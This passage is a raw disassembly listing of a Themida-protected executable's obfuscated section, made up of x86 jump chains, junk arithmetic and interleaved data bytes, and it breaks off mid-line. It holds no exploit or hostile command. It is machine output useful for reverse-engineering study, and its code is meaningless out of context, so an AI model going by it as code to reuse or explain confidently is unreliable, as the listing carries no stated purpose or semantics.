Themida_:005A3BF9j push 4 pop esi add edx, 39F17F73h push eax jmp loc_5A0E9D ; --------------------------------------------------------------------------- loc_5A4F38: ; CODE XREF: Themida_:loc_59B19Ej not eax add eax, 0FABAD2CDh jmp loc_5AEE18 ; --------------------------------------------------------------------------- loc_5A4F44: ; CODE XREF: Themida_:005A62D4j ; Themida_:005AF518j push ecx mov ecx, esp push ebx mov ebx, 5119596Eh sub ebx, 73DF4281h jmp loc_59C9FA ; --------------------------------------------------------------------------- loc_5A4F58: ; CODE XREF: Themida_:005A44F6j sub ebp, edx add ebp, 746A7FBDh jmp loc_59EC1F ; --------------------------------------------------------------------------- loc_5A4F65: ; CODE XREF: Themida_:005AAF92j neg edx jbe loc_5A2CFB push eax mov eax, 590C6F83h neg eax push ecx mov ah, bl mov cl, al loc_5A4F7A: ; CODE XREF: Themida_:loc_5AAEB1j jmp loc_5A7586 ; --------------------------------------------------------------------------- loc_5A4F7F: ; CODE XREF: Themida_:005A0F2Dj push eax mov eax, 1D0754A8h shl eax, 2 push ebx jmp loc_5AC82D ; --------------------------------------------------------------------------- loc_5A4F8E: ; CODE XREF: Themida_:005AE83Fj sub ebx, 37A52391h push edi mov edi, 2D74210Ah jmp loc_5A18DC ; --------------------------------------------------------------------------- loc_5A4F9F: ; CODE XREF: Themida_:005A111Aj mov dl, bl mov ebx, [esp] add esp, 4 mov cl, dl pop edx shr cl, 6 push eax jmp loc_5A34E2 ; --------------------------------------------------------------------------- loc_5A4FB6: ; CODE XREF: Themida_:005A6675j ; Themida_:005A7BB4j add [esp+4], ebp mov ebp, [esp] jmp loc_5A7D04 ; --------------------------------------------------------------------------- loc_5A4FC2: ; CODE XREF: Themida_:005A4A8Fj jns loc_5A1659 not eax add eax, 0CE517951h mov al, bl mov bh, ah loc_5A4FD3: ; CODE XREF: Themida_:005A639Ej add edx, 4ADE1496h push dword ptr [esp] pop ebx add esp, 4 add edx, edi push ebx push eax push 2CFF4423h mov eax, [esp] jmp loc_5A437F ; --------------------------------------------------------------------------- dword_5A4FF4 dd 240C8B66h, 3CB568h, 17C0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A5002: ; CODE XREF: Themida_:0059B1DEj push 0A73h mov [esp], ecx mov ecx, esp push eax mov eax, 278B1600h sub eax, 278B15FCh add ecx, eax mov eax, [esp] add esp, 4 jmp loc_598BA8 ; --------------------------------------------------------------------------- loc_5A5027: ; CODE XREF: Themida_:005AA21Aj mov ebp, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] push ebp jmp loc_5AAD86 ; --------------------------------------------------------------------------- loc_5A5039: ; CODE XREF: Themida_:005A2379j inc bl jge loc_5A3A91 or bl, 3Bh add bl, 0F8h jmp loc_5AF329 ; --------------------------------------------------------------------------- loc_5A504C: ; CODE XREF: Themida_:005AAEB7j add ecx, 70359D1Ch and edi, ecx pop ecx push eax push 0FFFFFFFFh mov eax, [esp] add esp, 4 add edi, eax jmp loc_5A5D78 ; --------------------------------------------------------------------------- loc_5A5068: ; CODE XREF: Themida_:005A0EC5j add esp, 2 push small 30C4h mov [esp], dx push ecx push eax mov ah, 11h jmp loc_5A72E8 ; --------------------------------------------------------------------------- loc_5A507F: ; CODE XREF: Themida_:005A3993j push dword ptr [esp] pop edi push eax mov eax, esp add eax, 4 push 0F3Eh mov [esp], edi mov edi, 4 jmp loc_5A38D7 ; --------------------------------------------------------------------------- loc_5A509D: ; CODE XREF: Themida_:005A727Fj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 400Ah mov [esp], ebp jmp loc_5A4D6D ; --------------------------------------------------------------------------- loc_5A50BC: ; CODE XREF: Themida_:0059B82Ej mov ebx, [esp] add esp, 4 sub edx, 2E034361h add edx, edi push eax jmp loc_5AB972 ; --------------------------------------------------------------------------- db 2Dh dd 2F31649Ch, 5815E9h db 0 ; --------------------------------------------------------------------------- loc_5A50DD: ; CODE XREF: Themida_:005A48D6j jmp loc_5A3093 ; --------------------------------------------------------------------------- loc_5A50E2: ; CODE XREF: Themida_:005AC839j sub ebx, 0FFFFFFFFh neg ebx or ebx, 157504CFh xor ebx, 0F4EB814Eh sub eax, ebx mov ebx, [esp] add esp, 4 add edx, eax mov eax, [esp] add esp, 4 shr edx, 5 push ebp jmp loc_5A4C4A ; --------------------------------------------------------------------------- db 89h dd 8B542404h, 0C4812404h, 4, 9FB68h, 24348900h, 0DC5EB668h dd 0E6C15E67h, 71A8E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A5132: ; CODE XREF: Themida_:005ACD16j sub al, 64h sub al, dl push dx mov dh, 64h add al, dh jmp loc_5A1999 ; --------------------------------------------------------------------------- db 89h, 0D6h, 5Ah dd 0FFA2AAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A5149: ; CODE XREF: Themida_:0059D265j push edx mov dh, al mov ch, dh push dword ptr [esp] pop edx add esp, 4 not ch mov al, ch pop ecx xchg al, dl add dl, 0FFh add dl, 0Bh sub bl, 6Bh jmp loc_5A1049 ; --------------------------------------------------------------------------- loc_5A516D: ; CODE XREF: Themida_:0059D9CFj push edx jmp loc_5AD863 ; --------------------------------------------------------------------------- loc_5A5173: ; CODE XREF: Themida_:005A6533j neg esi xor esi, 565064D7h jnp loc_59F970 jmp loc_5A6BDC ; --------------------------------------------------------------------------- dw 0D5F7h dd 55569595h, 0E6C15D5Eh, 8C68102h, 1EE2F5Bh, 2434FFF0h dd 4C4835Eh, 2BF57h, 0F8010000h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 1998h jmp loc_5997C0 ; --------------------------------------------------------------------------- loc_5A51B8: ; CODE XREF: Themida_:005AA192j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 40000h and eax, ebp mov ebp, [esp] push eax push esp pop eax jmp loc_5A99EA ; --------------------------------------------------------------------------- loc_5A51D9: ; CODE XREF: Themida_:005AE803j ; Themida_:005AEA69j add al, 0E7h mov dl, al jmp loc_5A71C0 ; --------------------------------------------------------------------------- dw 0EC35h dd 31326D2Ch, 0DF62E9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A51EE: ; CODE XREF: Themida_:005A02AAj ; Themida_:005A065Cj shr edx, 3 xor edx, 89E7F4Fh jnz loc_5AD063 and edx, 77B50859h jz loc_59F7C5 shr edx, 1 loc_5A520B: ; CODE XREF: Themida_:0059FEF7j push 4 pop ecx add ebp, ecx pop ecx push ebx push edi mov edi, 18404161h xor edi, 18404163h mov ebx, edi pop edi add ebp, ebx pop ebx sub esp, 4 mov [esp], ebp push dword ptr [esp+4] jmp loc_5AE5D3 ; --------------------------------------------------------------------------- loc_5A5236: ; CODE XREF: Themida_:005A7B95j add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] shr eax, 0Ah xor eax, ecx jmp loc_5A4993 ; --------------------------------------------------------------------------- loc_5A5252: ; CODE XREF: Themida_:005A6ABBj mov ecx, 581747E3h xor ecx, 486B6AA1h sub edi, ecx pop ecx push esi mov esi, 69E19F9h add edi, esi push dword ptr [esp] pop esi add esp, 4 add edi, edx jmp loc_59D5DA ; --------------------------------------------------------------------------- loc_5A5279: ; CODE XREF: Themida_:0059F373j mov edx, 0C930B957h add edi, 7F4D7FA1h jmp loc_5A3749 ; --------------------------------------------------------------------------- loc_5A5289: ; CODE XREF: Themida_:005AAAB7j mov ebx, 4 push ebp jmp loc_59F312 ; --------------------------------------------------------------------------- loc_5A5294: ; CODE XREF: Themida_:005A3E3Dj xor ecx, eax pop eax push esi jmp loc_5ACF34 ; --------------------------------------------------------------------------- db 64h, 66h, 89h dd 27EFE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A52A6: ; CODE XREF: Themida_:005A0251j mov dh, ch pop ecx jmp loc_5A4946 ; --------------------------------------------------------------------------- word_5A52AE dw 83ADh ; DATA XREF: Themida_:00598840o dd 0F00207Fh, 6E6B84h, 51BA5200h, 0E96EF32Ah, 8D08h, 33243C31h dd 248B243Ch, 9240E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A52D2: ; CODE XREF: Themida_:005AD8CBj push 624B26FBh mov eax, [esp] add esp, 4 add edx, eax mov eax, [esp] push ecx jmp loc_5ADCDA ; --------------------------------------------------------------------------- byte_5A52EB db 66h ; DATA XREF: Themida_:00598700o db 0Fh, 0B6h, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 351Ah jmp loc_5ACA71 ; --------------------------------------------------------------------------- loc_5A530F: ; CODE XREF: Themida_:005AFDBEj mov edx, 2 add ebp, edx pop edx push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 217Ch mov [esp], ebx mov ebx, 0 push eax jmp loc_5AA448 ; --------------------------------------------------------------------------- loc_5A533E: ; CODE XREF: Themida_:005A99F2j mov ecx, 192A02E1h or ecx, 13830FFAh push ebp push ecx mov ecx, 31E03419h mov ebp, ecx pop ecx xor ebp, 1B5D1456h jmp loc_5A89B1 ; --------------------------------------------------------------------------- dw 0B105h dd 572EA639h, 4EC8355h, 53240489h, 1A1FF3BBh, 0E9D8891Bh dd 0FFFF963Ah ; --------------------------------------------------------------------------- loc_5A5378: ; CODE XREF: Themida_:005AF6D3j add dword ptr [esp], 50196C61h pop eax push ebx jmp loc_5AD0B2 ; --------------------------------------------------------------------------- dw 0EF89h dd 52242C8Bh, 0C2815A54h, 4, 4EC81h, 0C890000h, 4B924h dd 0EE90000h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A53A7: ; CODE XREF: Themida_:005A821Ej add ecx, 4 sub ecx, 2 jmp loc_5A8AC3 ; --------------------------------------------------------------------------- loc_5A53B8: ; CODE XREF: Themida_:005A464Fj dec edx push 1526h mov [esp], edx not dword ptr [esp] pop edx push ebx jmp loc_59C3EA ; --------------------------------------------------------------------------- loc_5A53CB: ; CODE XREF: Themida_:005AEC7Dj push 59Ah mov [esp], eax push ebx mov ebx, 795E50FAh mov eax, ebx pop ebx and eax, 5B534AE0h jmp loc_5A5898 ; --------------------------------------------------------------------------- loc_5A53E6: ; CODE XREF: Themida_:005A9AF6j push ebp mov ebp, esp add ebp, 4 jmp loc_5A2A16 ; --------------------------------------------------------------------------- loc_5A53F4: ; CODE XREF: Themida_:005AC3AFj mov ebx, 6C166766h jmp loc_5A9640 ; --------------------------------------------------------------------------- loc_5A53FE: ; CODE XREF: Themida_:0059C46Fj sub edi, ebx jmp loc_5A3741 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FFAD4BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A540D: ; CODE XREF: Themida_:005A3218j add esp, 4 jmp loc_5AB815 ; --------------------------------------------------------------------------- loc_5A5415: ; CODE XREF: Themida_:loc_5A0756j shl edx, 3 jz loc_5AA60D push ebx jmp loc_59DE40 ; --------------------------------------------------------------------------- loc_5A5424: ; CODE XREF: Themida_:0059C8CCj add ebp, 4 push 7276h mov [esp], ecx push 57A4h mov [esp], edx jmp loc_59ADF6 ; --------------------------------------------------------------------------- loc_5A543F: ; CODE XREF: Themida_:loc_5A5A45j sub esp, 4 mov [esp], eax mov al, 0C0h neg al jmp loc_5ACCE6 ; --------------------------------------------------------------------------- loc_5A5451: ; CODE XREF: Themida_:0059E484j sub ebp, 37747F73h jmp loc_5A11FF ; --------------------------------------------------------------------------- loc_5A545C: ; CODE XREF: Themida_:005AE99Bj push dword ptr [esp] pop ebp add esp, 4 push edx push esp pop edx push eax mov eax, 4C9B70B3h jmp loc_59952D ; --------------------------------------------------------------------------- loc_5A5471: ; CODE XREF: Themida_:005A2DBAj dec esi add esi, 7F475EFEh jmp loc_5A5BE8 ; --------------------------------------------------------------------------- loc_5A547D: ; CODE XREF: Themida_:005AF0AAj sub ebx, esi sub ebx, 2526775Bh pop esi add ebx, 2FFB43D3h add ebx, 0F199CF22h add edx, ebx pop ebx jmp loc_5A4962 ; --------------------------------------------------------------------------- dw 890Fh dd 5EC4h, 7600C681h, 43E921BDh db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A54AB: ; CODE XREF: Themida_:005AF280j mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], edx jmp loc_59C756 ; --------------------------------------------------------------------------- loc_5A54BF: ; CODE XREF: Themida_:005A0935j pop esp mov [esp], ebp jmp loc_5AA704 ; --------------------------------------------------------------------------- loc_5A54C8: ; CODE XREF: Themida_:005A71CCj sub cl, 0EDh and dl, cl pop ecx push ecx sub esp, 4 mov [esp], eax mov al, dl mov ch, al jmp loc_59E126 ; --------------------------------------------------------------------------- loc_5A54E1: ; CODE XREF: Themida_:005AD9BCj and ebp, 2F0D1201h jmp loc_5AD3CE ; --------------------------------------------------------------------------- loc_5A54EC: ; CODE XREF: Themida_:005A745Ej mov ebx, edx jmp loc_5997C0 ; --------------------------------------------------------------------------- loc_5A54F3: ; CODE XREF: Themida_:005AD7F3j sub dh, bl pop bx jmp loc_59D968 ; --------------------------------------------------------------------------- loc_5A54FC: ; CODE XREF: Themida_:0059EAFCj ; Themida_:005A2540j add ebp, 0FFFFFFFFh inc ebp sub ebp, 1 jmp loc_59B5C8 ; --------------------------------------------------------------------------- loc_5A550B: ; CODE XREF: Themida_:0059C723j sub ebx, 58142D19h sub ebx, 70101621h push 40EBh mov [esp], eax jmp loc_59997C ; --------------------------------------------------------------------------- aPs5 db 'PИЛ5',0 align 2 loc_5A552A: ; CODE XREF: Themida_:005AD7D4j sub ecx, 1 push edx push ecx mov ecx, 158C058Dh dec ecx jmp loc_5A1C78 ; --------------------------------------------------------------------------- loc_5A553D: ; CODE XREF: Themida_:005990ACj sub ebx, 58D5807Ah sub ebp, ebx jmp loc_5A4B23 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4C181h, 0C870000h, 0C1E95C24h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A555F: ; CODE XREF: Themida_:0059D0C9j xor esi, 105422ABh sub ebp, 498E54D3h add ebp, esi push eax mov eax, 498E54D3h jmp loc_5AA254 ; --------------------------------------------------------------------------- loc_5A5578: ; CODE XREF: Themida_:005A08F9j add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp pop dword ptr [esp] pop esp dec dword ptr [esp] pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A5598: ; CODE XREF: Themida_:005A0A94j add dword ptr [esp+4], 36B6653h push edx mov edx, 413F0848h add dword ptr [esp+8], 5B8C0D3Ch sub [esp+8], edx sub dword ptr [esp+8], 5B8C0D3Ch pop edx mov eax, [esp] push edi mov edi, esp push eax mov eax, 1D92135Ah xor eax, 1D92135Eh add edi, eax pop eax jmp loc_5A6B15 ; --------------------------------------------------------------------------- dd 4C281h, 0FF520000h, 5A042474h, 8B24048Fh, 0DEE92424h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A55EB: ; CODE XREF: Themida_:005A2D11j xor ecx, 253883B5h sub eax, ecx pop ecx xor edx, eax pop eax and eax, edx jmp loc_5AC104 ; --------------------------------------------------------------------------- loc_5A55FE: ; CODE XREF: Themida_:005A0E23j add eax, 0C8E3C7Eh pop ebx sub eax, 4 xchg eax, [esp] jmp loc_5A7152 ; --------------------------------------------------------------------------- loc_5A560F: ; CODE XREF: Themida_:005A5A4Dj ; Themida_:005AD4DCj add esp, 4 inc ecx jle loc_5A764E jmp loc_59A37D ; --------------------------------------------------------------------------- loc_5A561E: ; CODE XREF: Themida_:0059BAD5j push esp push dword ptr [esp] pop esi push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edx mov edx, 4 add esi, edx jmp loc_5A3CEA ; --------------------------------------------------------------------------- loc_5A5640: ; CODE XREF: Themida_:005A1BE9j ; Themida_:005A21A5j dec eax jmp loc_5AEE4F ; --------------------------------------------------------------------------- loc_5A5646: ; CODE XREF: Themida_:005AC3CCj mov esp, [esp] mov cx, [esp] push 1EB6h mov [esp], esi jmp loc_59A8D7 ; --------------------------------------------------------------------------- loc_5A565A: ; CODE XREF: Themida_:0059B3D9j pop eax jmp loc_59A2AA ; --------------------------------------------------------------------------- loc_5A5660: ; CODE XREF: Themida_:0059B1C0j mov edx, 4 add ebx, edx pop edx jmp loc_59A1F2 ; --------------------------------------------------------------------------- loc_5A566D: ; CODE XREF: Themida_:005A5E17j mov eax, [esp] push ebp mov ebp, esp jmp loc_59D626 ; --------------------------------------------------------------------------- loc_5A5678: ; CODE XREF: Themida_:loc_5A1BC7j xor ah, 0CBh jns loc_5A942F push edx jmp loc_5A6557 ; --------------------------------------------------------------------------- db 81h dd 689287F3h db 4Dh, 4, 68h ; --------------------------------------------------------------------------- loc_5A568F: ; CODE XREF: Themida_:005AE5FEj add dword ptr [esp], 4 jmp loc_5AD8D0 ; --------------------------------------------------------------------------- aI4Wsc db '┴4$WИ≈',8,0 align 4 dd 89E4E981h, 0BD5547EAh, 225615A9h, 42E9D5F7h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A56B7: ; CODE XREF: Themida_:0059C751j push ecx pop ebp pop ecx jmp loc_5AD1B4 ; --------------------------------------------------------------------------- loc_5A56BF: ; CODE XREF: Themida_:005A44A8j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] test cl, al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A56D3: ; CODE XREF: Themida_:005AD23Cj neg edx xchg edx, ecx add ecx, 18D1240Fh jmp loc_5A6284 ; --------------------------------------------------------------------------- loc_5A56E2: ; CODE XREF: Themida_:0059D8BAj pop esi push esi mov esi, 59D00A5Ch push 0 jmp loc_5A3E96 ; --------------------------------------------------------------------------- loc_5A56F3: ; CODE XREF: Themida_:005A083Fj pop edi push esi mov esi, 1B2275E7h jmp loc_5A87A2 ; --------------------------------------------------------------------------- loc_5A56FF: ; CODE XREF: Themida_:0059FD5Fj push 4A8C30B1h pop esi not esi push edi jmp loc_5A87FC ; --------------------------------------------------------------------------- loc_5A570D: ; CODE XREF: Themida_:005A038Fj mov ebx, ebp pop ebp push ecx push ebx add dword ptr [esp], 4CCE070Ch pop ecx jmp loc_5A6ECE ; --------------------------------------------------------------------------- byte_5A571F db 66h ; DATA XREF: Themida_:00598710o dd 68240C8Bh, 41CEh, 68241C89h, 0E64h, 0FF7672E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A5735: ; CODE XREF: Themida_:005AA648j push 0D55h mov [esp], ebx jmp loc_5A231F ; --------------------------------------------------------------------------- loc_5A5742: ; CODE XREF: Themida_:0059C1D9j shr edi, 5 jnz loc_59DC22 push ebp jmp loc_59BC70 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h db 88h, 0F3h word_5A5756 dw 34FFh ; DATA XREF: Themida_:00598904o dd 0B7E95824h, 81FFFF75h, 2627D7CFh, 0E61BE915h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A576A: ; CODE XREF: Themida_:005A6A05j sub esp, 4 mov [esp], ebx push ecx mov ecx, 4833135Dh not ecx jmp loc_5A02BA ; --------------------------------------------------------------------------- loc_5A577D: ; CODE XREF: Themida_:005A6B10j push edi mov edi, 2D907C39h shr edi, 4 add edi, 9E7E9E31h jmp loc_59C8D8 ; --------------------------------------------------------------------------- loc_5A5791: ; CODE XREF: Themida_:0059A85Dj mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp push dword ptr [esp] pop eax push edx sub esp, 4 mov [esp], esp push eax jmp loc_5AED83 ; --------------------------------------------------------------------------- db 0BDh dd 549145B8h, 4E1AF581h, 0B95159FDh, 49F655E8h, 8106E9C1h dd 45A0F8F1h, 0E670E966h, 8956FFFFh, 8B5D56C6h, 0C4832434h dd 729FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A57E2: ; CODE XREF: Themida_:005A6A6Fj pop esp movsx ecx, ax sub esp, 4 mov [esp], ecx sub esp, 4 jmp loc_599C44 ; --------------------------------------------------------------------------- loc_5A57FA: ; CODE XREF: Themida_:005A65CEj add bh, al pop eax or ch, bh jmp loc_5A1796 ; --------------------------------------------------------------------------- loc_5A5804: ; CODE XREF: Themida_:005A49D9j shl edx, 3 jmp loc_5AB026 ; --------------------------------------------------------------------------- loc_5A580C: ; CODE XREF: Themida_:0059D1C2j push eax jmp loc_59ACE8 ; --------------------------------------------------------------------------- loc_5A5812: ; CODE XREF: Themida_:005ACB45j add ebx, edi pop edi push 3EEBh jmp loc_5A2C6C ; --------------------------------------------------------------------------- db 0FFh dd 2C8B2434h, 4C48124h, 81000000h, 4C4h, 78EE8100h, 811FE910h dd 0B3749AEEh, 98C68108h, 8140D96Ch, 0AB291AEEh, 0AEE8168h dd 0E9214B20h, 0FFFFC6D7h ; --------------------------------------------------------------------------- loc_5A5854: ; CODE XREF: Themida_:005AB3D6j sub esp, 4 jmp loc_5AFD8F ; --------------------------------------------------------------------------- loc_5A585F: ; CODE XREF: Themida_:005AE66Aj pop eax push 244h mov [esp], eax sub esp, 4 mov [esp], esi mov esi, 10C5782Eh mov eax, 10C57830h sub eax, esi pop esi add esi, eax push dword ptr [esp] pop eax add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_5AAEF9 ; --------------------------------------------------------------------------- loc_5A5898: ; CODE XREF: Themida_:005A53E1j push esi push eax mov eax, 673F5978h or eax, 3BE01680h xor eax, 66888EC0h mov esi, eax pop eax sub eax, esi mov esi, [esp] add esp, 4 add edi, eax mov eax, [esp] add esp, 4 add edi, ecx sub edi, 3FDA6FA8h pop ecx xchg edi, [esp] jmp loc_59E1BE ; --------------------------------------------------------------------------- loc_5A58D0: ; CODE XREF: Themida_:0059ADB0j mov edx, 43327ECAh inc edx jmp loc_5A42CB ; --------------------------------------------------------------------------- loc_5A58DB: ; CODE XREF: Themida_:0059C96Aj pop esp mov eax, ecx push dword ptr [esp] pop ecx jmp loc_59B8D8 ; --------------------------------------------------------------------------- loc_5A58E7: ; CODE XREF: Themida_:00598B8Bj ; Themida_:005AC4AAj sub ebp, 458AA4F4h sub ecx, ebp pop ebp sub edx, ecx jmp loc_5AD3BB ; --------------------------------------------------------------------------- loc_5A58F7: ; CODE XREF: Themida_:005A2815j shl ebx, 7 jmp loc_5A4A00 ; --------------------------------------------------------------------------- loc_5A58FF: ; CODE XREF: Themida_:0059DBAEj xor esi, 7C88B834h add eax, esi pop esi push ebx mov ebx, 12A712A8h neg ebx inc ebx jmp loc_5AD65B ; --------------------------------------------------------------------------- loc_5A5916: ; CODE XREF: Themida_:0059D3E2j add esp, 4 jmp loc_5A13F6 ; --------------------------------------------------------------------------- loc_5A5921: ; CODE XREF: Themida_:0059A7ADj pop ebp shl esi, 5 jmp loc_5A48EE ; --------------------------------------------------------------------------- loc_5A592A: ; CODE XREF: Themida_:00598E57j add edi, 1 inc edi sub edi, 0BA759ECh sub edi, 1D9770Eh sub edx, edi pop edi jmp loc_5989A3 ; --------------------------------------------------------------------------- dw 8155h dd 73192404h, 815E2C58h, 587319EEh, 242C8B2Ch, 8104C483h dd 7A0622EFh, 3A59E929h, 0C281FFFFh, 4, 4C281h, 14870000h dd 24248B24h, 670CBD55h, 0E5C13CDDh, 0D5F74D04h, 6BD5E9h db 0 ; --------------------------------------------------------------------------- loc_5A5985: ; CODE XREF: Themida_:0059932Bj jl loc_5A7431 push ebx mov ebx, 343D51B1h shl ebx, 7 add ebx, 41DA3701h jmp loc_59D3F9 ; --------------------------------------------------------------------------- loc_5A599F: ; CODE XREF: Themida_:005A06B6j mov ebx, edx mov edx, [esp] add esp, 4 sub edx, 7E0B6392h add edx, ebx push ebp mov ebp, 74F536E1h not ebp push esi jmp loc_5AD7D9 ; --------------------------------------------------------------------------- loc_5A59C0: ; CODE XREF: Themida_:005A71BBj mov bl, dl push edx mov dh, bl push ebx mov bl, dh mov ch, bl jmp loc_5A44C9 ; --------------------------------------------------------------------------- db 0BAh dd 194910A5h, 815AD589h, 756B6DCDh, 5FF5812Ch, 812DD61Ah dd 14D2E0F5h, 0E989511Ah, 9FFEE9h db 0 ; --------------------------------------------------------------------------- loc_5A59F1: ; CODE XREF: Themida_:0059BE6Ej add esi, ebp push dword ptr [esp] pop ebp add esp, 4 push edi jmp loc_5A628B ; --------------------------------------------------------------------------- db 5Dh dd 5C240487h, 0E924048Fh, 0FFFFCBFBh ; --------------------------------------------------------------------------- loc_5A5A10: ; CODE XREF: Themida_:005AADC0j mov [esp], esi mov esi, 63916B09h sub esi, 43B871CDh inc esi push edi mov edi, 4C551D72h sub esi, edi pop edi shr esi, 5 push ecx mov ecx, 13063A0Eh shr ecx, 4 push esi mov esi, 1BE64C9Bh and esi, 18595D94h jmp loc_5A6B5B ; --------------------------------------------------------------------------- loc_5A5A45: ; CODE XREF: Themida_:005A0B56j jmp loc_5A543F ; --------------------------------------------------------------------------- loc_5A5A4A: ; CODE XREF: Themida_:0059FEA6j shr edi, 7 jp loc_5A560F sub edi, 88F251h and eax, edi mov edi, [esp] jmp loc_5ACDF7 ; --------------------------------------------------------------------------- loc_5A5A63: ; CODE XREF: Themida_:005A1ABAj mov ebx, 151A193Ah xor ebx, 31104C6Eh add ebx, 3660445h shl ebx, 6 dec ebx jmp loc_5A90A6 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0E904C483h, 0FFFFE06Dh ; --------------------------------------------------------------------------- loc_5A5A88: ; CODE XREF: Themida_:0059B111j xchg edi, [esp] jmp loc_5A88DB ; --------------------------------------------------------------------------- loc_5A5A90: ; CODE XREF: Themida_:005A5F0Ej mov [esp], edi jmp loc_5AC499 ; --------------------------------------------------------------------------- loc_5A5A98: ; CODE XREF: Themida_:005AF987j mov esp, [esp] push 47AAh mov [esp], ecx mov ecx, 66BD2E57h push ebx mov ebx, 10D771C3h dec ebx inc ebx jmp loc_5A217F ; --------------------------------------------------------------------------- loc_5A5AB5: ; CODE XREF: Themida_:005A4387j xor eax, 6FF97FBAh jmp loc_5A01B0 ; --------------------------------------------------------------------------- loc_5A5ABF: ; CODE XREF: Themida_:005A2E1Bj ; Themida_:005A8AD0j mov bh, dl jmp loc_5AE75C ; --------------------------------------------------------------------------- loc_5A5AC6: ; CODE XREF: Themida_:005A2618j mov edi, esp push ebp mov ebp, 4 jmp loc_5A4A61 ; --------------------------------------------------------------------------- aS_7 db '\И╦{',0 db 0 ; --------------------------------------------------------------------------- loc_5A5AD9: ; CODE XREF: Themida_:005AE0C5j dec dl sub dl, 0E4h sub al, dl jmp loc_5AB882 ; --------------------------------------------------------------------------- loc_5A5AE5: ; CODE XREF: Themida_:0059F47Bj pop ebp sub edi, ebx jmp loc_5A22BC ; --------------------------------------------------------------------------- loc_5A5AED: ; CODE XREF: Themida_:005AD08Aj mov ebp, 4 sub ecx, ebp mov ebp, [esp] push esi jmp loc_5ACB4A ; --------------------------------------------------------------------------- db 2Dh, 8Ch, 63h dd 0C78960FDh, 4CF78158h, 0F69C122h, 880F89h, 0FDFF700h dd 0FF7EB584h, 8BFA89FFh db 0E9h ; --------------------------------------------------------------------------- loc_5A5B1D: ; CODE XREF: Themida_:0059C327j sub al, bh pop ebx sub esp, 4 mov [esp], ecx push 2425h mov [esp], edx mov dl, 95h push ebx mov bh, 5 mov ch, bh jmp loc_59CAE3 ; --------------------------------------------------------------------------- dw 0EC88h dd 24148B59h, 8804C483h, 5B58E6h, 285A66F3h, 0A7B1E9D8h dd 0D6B1FFFFh, 804FF180h, 0E5E9B7C1h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A5B5F: ; CODE XREF: Themida_:005A4A42j push 38044AF4h mov ecx, [esp] push 5F81h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5AD7CA ; --------------------------------------------------------------------------- loc_5A5B7F: ; CODE XREF: Themida_:005A2C8Aj shl word ptr [esp], cl pushf jmp loc_5A4AF6 ; --------------------------------------------------------------------------- loc_5A5B89: ; CODE XREF: Themida_:0059E40Fj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5AF544 ; --------------------------------------------------------------------------- aPsu db 'PИu',1Bh,0 db 0 ; --------------------------------------------------------------------------- loc_5A5B9D: ; CODE XREF: Themida_:005AF6F2j add esp, 4 or ebx, ebx jnz loc_5A7E21 push 1E1Ch mov [esp], esi mov esi, esp jmp loc_5A79B3 ; --------------------------------------------------------------------------- db 0F7h dd 448DE9DEh, 0F331FFFFh, 8124348Bh, 4C4h, 31C58100h, 1030873h dd 31ED81DDh, 5B030873h, 0C5CC581h, 0E989D157h, 0E9242C8Bh dd 6DA8h ; --------------------------------------------------------------------------- loc_5A5BE8: ; CODE XREF: Themida_:005A5478j push ebx push edi jmp loc_59D81A ; --------------------------------------------------------------------------- loc_5A5BEF: ; CODE XREF: Themida_:00598CCCj neg edi sub edi, 10701E0Fh xor edi, 33754943h dec edi add edi, 642376DBh xor edi, 49517B23h xor ecx, edi pop edi xor ecx, 5C1B18D7h add edx, 0F04129Dh add edx, ecx sub edx, 0F04129Dh pop ecx push ebp jmp loc_59CF81 ; --------------------------------------------------------------------------- dd 0E9242C33h, 0FFFF46DCh, 1C4DE9h db 0 ; --------------------------------------------------------------------------- loc_5A5C35: ; CODE XREF: Themida_:005AB4F2j mov edx, ecx jmp loc_5ABEF4 ; --------------------------------------------------------------------------- loc_5A5C3C: ; CODE XREF: Themida_:loc_5A2A61j jmp loc_5A7733 ; --------------------------------------------------------------------------- loc_5A5C41: ; CODE XREF: 